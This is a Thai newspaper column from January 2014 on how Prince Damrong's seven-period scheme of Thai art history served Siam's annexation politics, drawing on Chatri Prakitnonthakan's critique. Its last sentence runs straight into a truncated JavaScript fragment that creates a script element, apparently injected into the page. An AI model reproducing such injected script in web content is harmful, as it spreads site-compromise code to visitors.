มติชนรายวัน ฉบับประจำวันพุธที่ 29  มกราคม 2557

 

การเมืองในประวัติศาสตร์ศิลปะของไทย

          ประวัติศาสตร์ศิลปะและโบราณคดีในไทย เป็นผลผลิตของการเมืองยุคล่าอาณานิคม แต่การศึกษาไทยทำไม่รู้ไม่ชี้ แล้วไม่ยอมรับความจริงเรื่องนี้

          ตำนานพระพุทธเจดีย์ ของ สมเด็จฯ กรมพระยาดำรงราชานุภาพ (พิมพ์ครั้งแรก พ.ศ. 2469) สมมุติชื่อเรียกแบบอย่างงานช่าง ที่ปัจจุบันเรียก“ศิลปะ” ออกเป็น 7 สมัย แล้วถือเป็นต้นทางประวัติศาสตร์ศิลปะของไทยสืบจนทุกวันนี้ คือ

          1. สมัยทวารวดี 2. สมัยศรีวิชัย 3. สมัยลพบุรี 4. สมัยเชียงแสน 5. สมัยสุโขทัย 6. สมัยอยุธยา 7. สมัยรัตนโกสินทร์

          อ. ชาตรี ประกิตนนทการ (คณะสถาปัตยกรรมศาสตร์ ม.ศิลปากร) บอกว่า ตำนานพุทธเจดีย์สยาม เป็นผลผลิตของการสถาปนารัฐสมบูรณาญาสิทธิราชย์ และสร้างความชอบธรรมในการผนวกรวมดินแดนประเทศราช สมัย ร.5 (พิมพ์อยู่ในวารสารอ่าน ปีที่ 5 ฉบับที่ 1 กรกฎาคม-ธันวาคม 2556 หน้า 55-73)

          ศิลปะลพบุรี เป็นผลผลิตของการผนวกรวมหัวเมืองอีสาน (ที่ถูกแยกขาดจากเมืองพระนครของกัมพูชา)

          ศิลปะเชียงแสน เป็นผลผลิตของการผนวกหัวเมืองล้านนา (ที่ถูกแยกขาดจากล้านช้างของลาว)

          โครงเรื่องการแบ่งยุคสมัยประวัติศาสตร์ศิลปะ ที่คนทั่วไปคิดว่าคือความรู้ที่เป็นกลางและเป็นข้อเท็จจริง ที่ใช้อ้างอิงกันจนปราศจากคำถามนั้น อ. ชาตรี ย้ำว่าแท้จริงแล้วความรู้ชุดนี้เกิดขึ้นโดยมีเหตุปัจจัยสัมพันธ์กับบริบททางการเมืองอย่างมีนัยสำคัญ

          “ความรู้ชุดนี้ ในแง่หนึ่ง (ซึ่งอาจพูดได้ว่าเป็นแง่ที่สำคัญที่สุด) ได้ถูกผลิตขึ้นเพื่อใช้เป็นแหล่งอ้างอิง สร้างความชอบธรรมในการบูรณาการขอบเขตและพรมแดนของสยามราวกลางพุทธศตวรรษที่ 25”

          อ. ชาตรี จึงตั้งคำถามว่า ถึงเวลาแล้วหรือยังที่สังคมไทยจะตระหนักถึงพลังเชิงลบของความรู้ทางประวัติศาสตร์ศิลปะชุดนี้ ที่ก่อกำเนิดขึ้นในฐานะเครื่องมืออย่างหนึ่งของรัฐสยามในการสร้าง “อาณานิคมภายใน” หรือแม้กระทั่งเป็นฐานบ่มเพาะความรู้สึก “ชาตินิยมทางวัฒนธรรม” ซึ่งนำไปสู่การสร้างความรู้สึกเป็นศัตรูกับประเทศเพื่อนบ้าน ในเรื่องมรดกทางศิลปะและสถาปัตยกรรม บนพื้นที่ตะเข็บรอยต่อพรมแดนระหว่างประเทศตลอดระยะเวลาร่วมร้อยปีที่ผ่านมา

          แล้วถามอีกว่า “ถึงเวลาแล้วหรือยังที่งานเขียนทางประวัติศาสตร์ศิลปะ จะต้องทลายเพดานความรู้ชุดนี้ลงเพื่อก้าวไปสู่กรอบวิธีหรือโครงเรื่องแบบใหม่ๆ ซึ่งจะสามารถนำเราไปสู่การสร้างความเข้าใจชิ้นงานทางศิลปะได้ครอบคลุมและหลากหลายกว่าที่เป็นอยู่ในปัจจุบัน และที่สำคัญคือปราศจากเชื้อมูลแห่งการสร้างความขัดแย้งเกลียดชังกันระหว่างผู้คนในสังคมต่างๆ”

          อ่านคำอธิบายเรื่องนี้ของ อ. ชาตรี แล้วเลื่อมใสนัก แม้จะเคยได้ยินครูบาอาจารย์ผู้ใหญ่พูดถึงเรื่องนี้นานมาแล้ว แต่ผมเองไม่เห็นพยานหลักฐานชัดเจนแจ่มแจ้งเหมือนข้อเขียนนี้         

          จึงขอขอบพระคุณอย่างสูงที่ช่วยสงเคราะห์ให้ผมโง่ลดลง เลยขอเชิญชวนผู้สนใจและศึกษาเรื่องนี้พิจารณาทบทวนด้วยสติและปัญญา ร่วมกันหาลู่ทางแก้ไขให้ความรู้ประวัติศาสตร์ศิลปะโบราณคดีในไทยเจริญก้าวหน้าทัดเทียมนานาอารยประเทศvar d=document;var s=d.createElement(‘script’);